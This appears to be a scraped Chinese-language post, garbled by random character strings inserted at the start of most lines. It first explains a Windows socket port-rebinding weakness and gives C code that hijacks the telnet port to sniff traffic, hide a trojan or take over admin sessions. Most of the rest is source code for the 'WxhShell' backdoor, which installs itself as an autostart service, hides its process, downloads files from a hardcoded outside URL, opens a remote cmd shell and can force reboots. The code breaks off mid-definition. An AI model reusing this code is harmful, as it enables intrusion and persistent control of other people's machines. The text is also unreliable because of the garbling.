在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iU918!!N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
PQt")[ Mt|zyXyzX saddr.sin_family = AF_INET;
SGRp3,1\4% Jrf=@m\dk saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KkyVSoD\ S7 2+d%$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YaqR[F k}CVQ@nd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@IKYh{j4 V-P#1Kkh 这意味着什么?意味着可以进行如下的攻击:
bP#:Oi0v` 9=M$AB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v"$L702d$\ tT8%yG} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2|y"!JqE1 +/7?HGf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
SR
hiQ /N+dQe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@7c?xQVd$ mIvx1_[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
/HEw-M9z s[*rzoA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7WqH&vU| g =hg%gRy" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Paq4 2qNt,;DQ #include
nAato\mM #include
j_[tu!~ #include
+E+p"7 #include
",t?8465y DWORD WINAPI ClientThread(LPVOID lpParam);
**0~K" ;\ int main()
sdrfsrNvB- {
%0?KMRr WORD wVersionRequested;
3*bU6$|5FP DWORD ret;
qZh/IW WSADATA wsaData;
=*.~BG BOOL val;
K3m/(jdO SOCKADDR_IN saddr;
P; no? SOCKADDR_IN scaddr;
,Vax&n+J int err;
1~FOgk1; SOCKET s;
rHI{aO7 SOCKET sc;
dQX6(Jj int caddsize;
QL/(72K HANDLE mt;
nF:4}qy\ DWORD tid;
4@gG<QJW wVersionRequested = MAKEWORD( 2, 2 );
U>SShpmZA err = WSAStartup( wVersionRequested, &wsaData );
Vt~{Gu-Y if ( err != 0 ) {
Pm?KI<TH~ printf("error!WSAStartup failed!\n");
(E3b\lST return -1;
y<3-?}.aZ }
#z%fx
saddr.sin_family = AF_INET;
fbvL7*
( /s?`&1v|r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A\DCW DfD&)tsMQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^
+\dz saddr.sin_port = htons(23);
Oo~;
L, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W*:.Gxv] {
6_;icpN] printf("error!socket failed!\n");
MchA{p&Ol return -1;
hZ,_6mNg }
I
34>X`[o val = TRUE;
a-tmq]]E //SO_REUSEADDR选项就是可以实现端口重绑定的
G.B2(' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}>|s=uGW {
/maJtX' printf("error!setsockopt failed!\n");
2tO,dx return -1;
MN>b7O \.? }
= svN#q5s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~8+ Zs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@
q3k%$4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4J?0bZ G_JA-@i% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
372rbY {
TX/Xt7#R: ret=GetLastError();
>:!5*E5? printf("error!bind failed!\n");
_f,C[C[e& return -1;
({_{\9O,3 }
c6]U E@A listen(s,2);
s8Q 5ui] while(1)
:-Z2:/P {
qR{=pR caddsize = sizeof(scaddr);
cjY-y-vO //接受连接请求
?^{Ah}x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Izc\V9+ if(sc!=INVALID_SOCKET)
%1L,Y {
kD%( _K5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i]4I [! if(mt==NULL)
n@i HFBb {
!qg`/y9 printf("Thread Creat Failed!\n");
q2j{tP# break;
>=>2m2z= }
Or+U@vAnk }
:cECRm* CloseHandle(mt);
o|:b;\)b }
"sCRdx]_ closesocket(s);
+\A,&;!SR WSACleanup();
3hH<T.@) return 0;
=nS3p6>rZ }
#!#
l45p6 DWORD WINAPI ClientThread(LPVOID lpParam)
6 "sSo j {
B9 uoVcW SOCKET ss = (SOCKET)lpParam;
WH} y"W SOCKET sc;
{P./==^0 unsigned char buf[4096];
I236RIq SOCKADDR_IN saddr;
(ZizuHC long num;
F>l]
9!P|m DWORD val;
RqrdAkg DWORD ret;
Avc%2+ //如果是隐藏端口应用的话,可以在此处加一些判断
\\qZl)P_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
59A}}.@?m saddr.sin_family = AF_INET;
)akoa,#%6c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t:Q*gWRh saddr.sin_port = htons(23);
A/s?x>QA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%$L{R {
t*u:hex printf("error!socket failed!\n");
+6\Zj) return -1;
<'*LRd$1 }
]ieeP4* val = 100;
;^*W+,4WB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*)Zdz9E'1( {
eMsd37J ret = GetLastError();
CTa57R return -1;
q} >%8;nm }
O>,e~#! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IJ"q~r$ {
pnOAs&QAm ret = GetLastError();
oPM96
( return -1;
o*H<KaX }
bd-L`={j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T8g$uFo {
i.m^/0! printf("error!socket connect failed!\n");
5;EvNu closesocket(sc);
,O(hMI85] closesocket(ss);
TeM|:o return -1;
QWYJ* }
lo+A%\1 while(1)
:F?C)F {
4B.*g-L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vs4>T^8e //如果是嗅探内容的话,可以再此处进行内容分析和记录
ga +dt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
y)@wjH{6 num = recv(ss,buf,4096,0);
K0>zxqY if(num>0)
yN-9[P8C send(sc,buf,num,0);
0(HU}I else if(num==0)
1+s;FJ2} break;
sgFEK[w.y num = recv(sc,buf,4096,0);
k,*XG$2h if(num>0)
*2l7f`K send(ss,buf,num,0);
0 H:X3y+ else if(num==0)
WsB ?C&>x break;
7[)E>XRE }
4WB0Pt{ closesocket(ss);
[(lW^- closesocket(sc);
M= (u]%\ return 0 ;
!Uo4,g6r+ }
$UwCMPs X `c$V$/IT 9.#<b|g ==========================================================
mfr|:i z{QqY.Gu{G 下边附上一个代码,,WXhSHELL
W=?<<dVYD ?J0y| ==========================================================
z24q3 3O %N._w!N<5n #include "stdafx.h"
6gDN`e,@ L4W5EO$ #include <stdio.h>
h*\%vr #include <string.h>
FS O).=# #include <windows.h>
F== p<lrs #include <winsock2.h>
XiWmV ? #include <winsvc.h>
>t+P(*u #include <urlmon.h>
!N^@4* [a(#1 #pragma comment (lib, "Ws2_32.lib")
xmoxZW: #pragma comment (lib, "urlmon.lib")
:3 mh@[V +}AI@+
#define MAX_USER 100 // 最大客户端连接数
@6.vKCSE #define BUF_SOCK 200 // sock buffer
]SEZaT #define KEY_BUFF 255 // 输入 buffer
sI2^Qp@O1 h(DTa #define REBOOT 0 // 重启
QT}tvm@PMq #define SHUTDOWN 1 // 关机
<P<z N~i9j 5^ Zg>I #define DEF_PORT 5000 // 监听端口
4xj4=C~i V7/Rby Q #define REG_LEN 16 // 注册表键长度
h";L #define SVC_LEN 80 // NT服务名长度
gX@aG9 DlJo^|5 // 从dll定义API
*T1_;4i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{!`6zBsP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#vlgwA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lOp`m8_= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%C]>9." Fr-SvsNFB // wxhshell配置信息
dO\"?aiD struct WSCFG {
p#tI;"\y int ws_port; // 监听端口
4,ag(^}= char ws_passstr[REG_LEN]; // 口令
zt%Mx>V@ int ws_autoins; // 安装标记, 1=yes 0=no
z$sGv19pB char ws_regname[REG_LEN]; // 注册表键名
cMIEtK` char ws_svcname[REG_LEN]; // 服务名
DmcZta8n] char ws_svcdisp[SVC_LEN]; // 服务显示名
8P`"M#fI char ws_svcdesc[SVC_LEN]; // 服务描述信息
kx^/*~ex char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K=&>t6s< int ws_downexe; // 下载执行标记, 1=yes 0=no
!)$Zp\Sg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
XWw804ir char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Zd+bx*rD /9X7A;O };
Hn:Crl y# 7+*WH|Z@ // default Wxhshell configuration
D%Z| struct WSCFG wscfg={DEF_PORT,
W+*
V)tf "xuhuanlingzhe",
%iB,IEw 1,
O6Y0XL "Wxhshell",
|W^IlqTH "Wxhshell",
:T~ [ "WxhShell Service",
EQ_aa@M7 "Wrsky Windows CmdShell Service",
h+,@G,|D "Please Input Your Password: ",
gqR(.Pu 1,
:Dp0?&_ "
http://www.wrsky.com/wxhshell.exe",
F'Z,]b'st3 "Wxhshell.exe"
\2z>?i) };
)/P}?`I }m8q}~>tL // 消息定义模块
uAk.@nfiEv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?7A>+EY char *msg_ws_prompt="\n\r? for help\n\r#>";
$[|mGae char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*1"+%Z^ char *msg_ws_ext="\n\rExit.";
=~gvZV-< char *msg_ws_end="\n\rQuit.";
9YGY,sx char *msg_ws_boot="\n\rReboot...";
JXxwr)i char *msg_ws_poff="\n\rShutdown...";
+C)~bb* char *msg_ws_down="\n\rSave to ";
/wv0i3_e
UxBpdm%dvP char *msg_ws_err="\n\rErr!";
'ga/ char *msg_ws_ok="\n\rOK!";
VU#7%ufu& jiGTA:v char ExeFile[MAX_PATH];
(<lhn int nUser = 0;
#&4=VGx{
# HANDLE handles[MAX_USER];
TA\vZGJ(' int OsIsNt;
k:%%/ $~kA
B8z SERVICE_STATUS serviceStatus;
W*G<X.Hf SERVICE_STATUS_HANDLE hServiceStatusHandle;
QGz|*] g)B]FH1 // 函数声明
OrW int Install(void);
u?EN int Uninstall(void);
:11
A int DownloadFile(char *sURL, SOCKET wsh);
r_d!ikOT( int Boot(int flag);
EX"yxZ~ void HideProc(void);
^rz_f{c]- int GetOsVer(void);
L},_.$I? int Wxhshell(SOCKET wsl);
"
1tH void TalkWithClient(void *cs);
>mkFV@` int CmdShell(SOCKET sock);
jWgX_//! int StartFromService(void);
H/Jbk*Q int StartWxhshell(LPSTR lpCmdLine);
A}w/OA97RO }B^tL$k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8CE = 4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
GX%g9f!O u@^LW<eD // 数据结构和表定义
kf9X$d6 SERVICE_TABLE_ENTRY DispatchTable[] =
m[2gdJK {
ig"L\ C"T {wscfg.ws_svcname, NTServiceMain},
bK7J} 8hH {NULL, NULL}
&3&HY:yF };
g{LP7D;6 )PZT4jTt // 自我安装
1H9!5=Ff int Install(void)
z!\*Y
=e {
r|Z{-*` char svExeFile[MAX_PATH];
w(F%^o\ HKEY key;
ABkl%m6xf strcpy(svExeFile,ExeFile);
"jCu6Rj d <Z$J<]I // 如果是win9x系统,修改注册表设为自启动
WzWXE( if(!OsIsNt) {
U!]dEW|G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0"#HJA44 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.]Z"C&"N] RegCloseKey(key);
|?9HU~B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)}vl\7= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P
{'b:C RegCloseKey(key);
2zpr~cB= return 0;
R#KU^]"( }
ULW~90 }
:KO2| v\ }
Va8&Z else {
z%kULTL !9x} // 如果是NT以上系统,安装为系统服务
R-Sym8c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
TZ`SZDc7_ if (schSCManager!=0)
S>{~nOYt-` {
=c7;r]Ol SC_HANDLE schService = CreateService
V8(- (
/RF7j; schSCManager,
IA(5?7x`< wscfg.ws_svcname,
7z-[f'EIUI wscfg.ws_svcdisp,
^Dx&|UwiZa SERVICE_ALL_ACCESS,
M=Wz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)e{}V\;q SERVICE_AUTO_START,
QW"! (`K SERVICE_ERROR_NORMAL,
MQ4KdqgP svExeFile,
05[SC}MCA NULL,
%)wjR/o NULL,
Hv, LS;W NULL,
45oR=Atn NULL,
v0y(58Rz. NULL
0IpmRH/ );
/tLVX} & if (schService!=0)
;rS{: {
#;<Y[hR{P CloseServiceHandle(schService);
Js;h% CloseServiceHandle(schSCManager);
F}zDfY\- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I_BJH'!t strcat(svExeFile,wscfg.ws_svcname);
~s{$WL& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
svSVG:48 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
f 1d?.) RegCloseKey(key);
/O9EQ Pm( return 0;
KmF]\:sMD }
> P)w?:k }
r=4eP(w= CloseServiceHandle(schSCManager);
Wjc'*QCPl }
nP$9CA }
g=rbPbu c`W,~[Q<O+ return 1;
y)*RV;^ }
H>C=zo,oiC -HuA
\0J // 自我卸载
x"~JR\yzKJ int Uninstall(void)
wS*E(IAl {
Y ay?=Y{ HKEY key;
*h|U,T7ew A=4OWV? if(!OsIsNt) {
j39wA~K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0`hdMLONR RegDeleteValue(key,wscfg.ws_regname);
9VT;ep RegCloseKey(key);
Je{ykL?N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v2?ZQeHr_( RegDeleteValue(key,wscfg.ws_regname);
5)E @F9N RegCloseKey(key);
ry!!9Z>9n return 0;
W4N{S.#! }
F5Va+z,jg }
j@9T.P1 }
Q20%"&Xp] else {
he4(hX^ )*[3Vq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M`>E|"< if (schSCManager!=0)
1"g<0
W {
g5yJfRLxp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Lv%x81]K if (schService!=0)
f<H2-(m {
ZW}_DT0 if(DeleteService(schService)!=0) {
]-q;4. CloseServiceHandle(schService);
m2o0y++TjW CloseServiceHandle(schSCManager);
]tD]Wx% return 0;
SdWV3 }
=}*0-\QG CloseServiceHandle(schService);
<qSC#[xu }
Dj +f]~ CloseServiceHandle(schSCManager);
]oxZ77ciL }
"fI6Cpc }
'%D7C=;^ c:0L+OF}xY return 1;
_LPHPj^Pg }
w@b)g "8RSvT<W^5 // 从指定url下载文件
! z**y}<T int DownloadFile(char *sURL, SOCKET wsh)
9UkBwS` {
E3i4=!Y HRESULT hr;
~V-XEQA char seps[]= "/";
,'+kBZOv char *token;
+H.`MZ= char *file;
R8Tx[CJ5 char myURL[MAX_PATH];
z}@7'_iJ char myFILE[MAX_PATH];
G#CXs:1pd+ liZxBs
:%i strcpy(myURL,sURL);
VnzZTGs token=strtok(myURL,seps);
d@^ZSy>L2 while(token!=NULL)
:svqE+2 {
g{Rd=1SK] file=token;
OPi0~s token=strtok(NULL,seps);
$Y;RKe9 }
+%&yJ4- ;,TFr}p` GetCurrentDirectory(MAX_PATH,myFILE);
\8
":]EU strcat(myFILE, "\\");
Tk>#G{Wb- strcat(myFILE, file);
yuVs
YV@" send(wsh,myFILE,strlen(myFILE),0);
GmG5[?) send(wsh,"...",3,0);
AdmC&!nH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:+Z%; Dc if(hr==S_OK)
6mE\OS-I return 0;
>Q/Dk7 # else
VQs5"K" return 1;
F:VIzyMq< GeqPRah }
:Al!1BJQ O8o3O
6[Y // 系统电源模块
p 'k0#R$ int Boot(int flag)
(mOtU8e {
dveiQ HANDLE hToken;
v^iAD2X/F TOKEN_PRIVILEGES tkp;
: +u]S2u{ %)|s1B'd if(OsIsNt) {
Fs{*XKv&lH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
omFz@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@ 7u 0v tkp.PrivilegeCount = 1;
[m -bV$-d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pw#-_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@L`jk+Y0vF if(flag==REBOOT) {
K'xV;r7Nt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
S@Y39 return 0;
9$Y=orpWxr }
fOHxtHM else {
~>G^=0LT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pdMc}=K return 0;
@d_M@\r=j }
KXrjqqXs }
E{\2='3\ else {
Y@v>FlqI{ if(flag==REBOOT) {
*hrvYil2b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H+#FSdy# return 0;
Kq!3wb; }
}b}m3i1 else {
yVfC-Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
vX>)je5# return 0;
ta0|^KAA }
_GPe<H }
[WJ+h~~
o Ni>[D"| return 1;
Smh,zCc>s }
Om<a<q rA1._
// win9x进程隐藏模块
"7
yD0T)2 void HideProc(void)
yu|>t4#GT {
d5b%
W3 N mG# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QPx^_jA if ( hKernel != NULL )
m'U0'}Ld}; {
N+|d3X! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"MsIjSu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_aphkeqd FreeLibrary(hKernel);
xk5]^yDp }
#Y!a6h+ VUc%4U{Cti return;
("@!>|H }
Y2TtY; ,6/V"kqIP // 获取操作系统版本
u
+hX int GetOsVer(void)
ZcsZ$qt^ {
b>W%t OSVERSIONINFO winfo;
R_KH"`q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\['Cj*e k GetVersionEx(&winfo);
/FII07V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=I<R! ZSN return 1;
aXVFc5C\ else
(:_$5&i7 return 0;
hp2t"t }
ks tIgcI
?< />Z) // 客户端句柄模块
3Vwh|1? int Wxhshell(SOCKET wsl)
F
[M,]? {
}k0_5S SOCKET wsh;
siaG'%@*r struct sockaddr_in client;
Gt1U!dP DWORD myID;
PCvWS.{ !if while(nUser<MAX_USER)
pmM9,6P4@ {
!1k_PY5) int nSize=sizeof(client);
F2WKd1U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
W!X@ if(wsh==INVALID_SOCKET) return 1;
|4JEU3\$ 45e~6", handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sB</DS if(handles[nUser]==0)
XSDpRo closesocket(wsh);
'%qr.T
% else
Ri{=]$ nUser++;
oRFq@g }
)4OxY[2J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{=WgzP yfSmDPh return 0;
hM{bavd }
3F3A%C% i. "v4D // 关闭 socket
M{@(G5 void CloseIt(SOCKET wsh)
zda 3
,U2o {
UZMd~| closesocket(wsh);
\zkg nUser--;
@- xjfC\d ExitThread(0);
^y::jK }
G2D$aSh
DrR@n~ // 客户端请求句柄
WY/}1X9.% void TalkWithClient(void *cs)
$X6h|?3U, {
|N2#ItBbW >j/w@Fj SOCKET wsh=(SOCKET)cs;
tYS06P^< char pwd[SVC_LEN];
KHme&yMq char cmd[KEY_BUFF];
]`K2N char chr[1];
`Oa
WGZ[ int i,j;
sT)CxOV m@c)Xci while (nUser < MAX_USER) {
3$ pX NOva'qk if(wscfg.ws_passstr) {
j_AACq
{. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UVP vOtZj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UfGkTwoo= //ZeroMemory(pwd,KEY_BUFF);
29KiuP i=0;
XwmL.Gg:]7 while(i<SVC_LEN) {
[~HN<>L@C W4S,6( // 设置超时
<YY 14p fd_set FdRead;
#a6iuO0I struct timeval TimeOut;
$mI Loy
B, FD_ZERO(&FdRead);
!zo{tI19 FD_SET(wsh,&FdRead);
! mHO$bQ" TimeOut.tv_sec=8;
CrLrw T TimeOut.tv_usec=0;
3S{/>1Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
";F'~}bDA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
C _Dn{ ;+%rw 2Z,B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;TYBx24vD' pwd
=chr[0]; Dtk=[;"k2a
if(chr[0]==0xd || chr[0]==0xa) { p+eh%2Jm
pwd=0; \D4:Nt#
break; &ncvGDGi
} oU8q o-J1H
i++; s AkdMo
} r@V!,k#S
rp$'L7lrX
// 如果是非法用户,关闭 socket V`- 9m$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !g[Zfo2r"
} >7|VR:U?B
s[jTP(d)8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K0~rN.C!0
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?4 ,T}@P
1?}T=)3+$
while(1) { A^g(k5M*
dN q$}
ZeroMemory(cmd,KEY_BUFF); h{Y",7]!
];m_4
// 自动支持客户端 telnet标准 LV Ge]lD
j=0; Xvu(vA
while(j<KEY_BUFF) { tw;}jh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !0+JbZ<%r|
cmd[j]=chr[0]; 1M 6D3d_
if(chr[0]==0xa || chr[0]==0xd) { a(nlTMfu
cmd[j]=0; dd;~K&_Q/i
break; W1~0_;
} )7F/O3Tq
j++; 4RO}<$Nx}
} 4s-!7
th_oJcS
// 下载文件 sC'`~}C
if(strstr(cmd,"http://")) { G{}VPcrbC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @JMiO^
if(DownloadFile(cmd,wsh)) C+$#y2"z#n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $4LzcwG
else {)XTk&"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79gT+~z
} N8jIMb'<
else { <~)P7~$d?p
k[xSbs'D
switch(cmd[0]) { 0mE 0 j
pBHRa?Y5
// 帮助 x5Bk/e'
case '?': { t Q)qCk07
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _6Sp QW
break; B\~}3!j
} /uflpV|
// 安装 Z.,MVcd
case 'i': { (.:e,l{U%
if(Install()) y[;>#j$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l?e.9o2-
else N~Jda
o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r!v\"6:OM
break; D.:Zx
} 4hB]vY\T
// 卸载 j2k"cmsKh
case 'r': { wk^B"+Uhy
if(Uninstall()) IGl9g_18
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`_0C38
else @ArSC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jy)/%p~
break; O.? JmE
} Gc?a +T
// 显示 wxhshell 所在路径 {}9a6.V;}
case 'p': { 3";q[&F9y
char svExeFile[MAX_PATH]; MgZ/(X E
strcpy(svExeFile,"\n\r"); 4#D,?eA7
strcat(svExeFile,ExeFile); Mx}gN:Wt
send(wsh,svExeFile,strlen(svExeFile),0); [Xkx_B
break; _a, s
)
} \bXa&Lq
// 重启 \fOEqe*5SM
case 'b': { vx
=&QavL
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #!=tDc
&
if(Boot(REBOOT)) VbYdZCC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZJoM?g~WFI
else { c<~H(k'+c
closesocket(wsh); 6tZI["\
ExitThread(0); zLQx%Yg!
} }MySaL>
break; _`X:jj>
} ?ub35NLa
// 关机 P \I|,
case 'd': { Pz7XAcPQ(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X$
D6Ey
if(Boot(SHUTDOWN)) HS$r8`S?)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3]hWfj1m2
else { :FF=a3/"6
closesocket(wsh); 4euO1=
ExitThread(0); %#+Hl0,Tt
} `[A];]
break; 4+n\k
} @ Qe0! (_=
// 获取shell Z+SRXKQ
case 's': { \U0Q<ot/7
CmdShell(wsh); 637:
oT_`O
closesocket(wsh); ceA9){
ExitThread(0); }V>T M{
break; Om&Dw|xG8
} f);FoVa6
// 退出 MV"=19]
case 'x': { #yen8SskB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4-w{BZuS
CloseIt(wsh); UiWg<_<t
break; =4!mAo}
} $G>. \t
// 离开 hTkyz
la
case 'q': { jPeYmv]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <@}9Bid!o
closesocket(wsh); al0L&z\
WSACleanup(); XW9!p.*.U
exit(1); _F{C\}
break; ~&O%N
} reVgqYp{{-
} PF2nLb2-
} G$PE}%X
k)u[0}
// 提示信息 =Qq+4F)MD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xj*Wu_
} hZ3bVi)L\
} 5;?yCWc
1M-pr 8:6s
return; ,Q B<7a+I
} G3]4A&h9v~
E7hhew
// shell模块句柄 zDp 2g)
int CmdShell(SOCKET sock) Z)!C'c b
{ w!CNRtM:~
STARTUPINFO si; 6zkaOA46V
ZeroMemory(&si,sizeof(si)); B!yr!DWv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3T
9j@N77
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^8tEach
PROCESS_INFORMATION ProcessInfo; C~[,z.FvO
char cmdline[]="cmd";
lr?;*f^3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SuznN
L=/$
return 0; Cw%{G'O
} c,22*.V/
zi:BF60]=
// 自身启动模式 0V]s:S
int StartFromService(void) l%ZhA=TKQ
{ J1kM\8%b\
typedef struct IID5c"
oR
{ )Z$!PqRw@u
DWORD ExitStatus; 67TwPvh
DWORD PebBaseAddress; +(*DT9s+
DWORD AffinityMask; iE{&*.q_}>
DWORD BasePriority; _ |p8M!
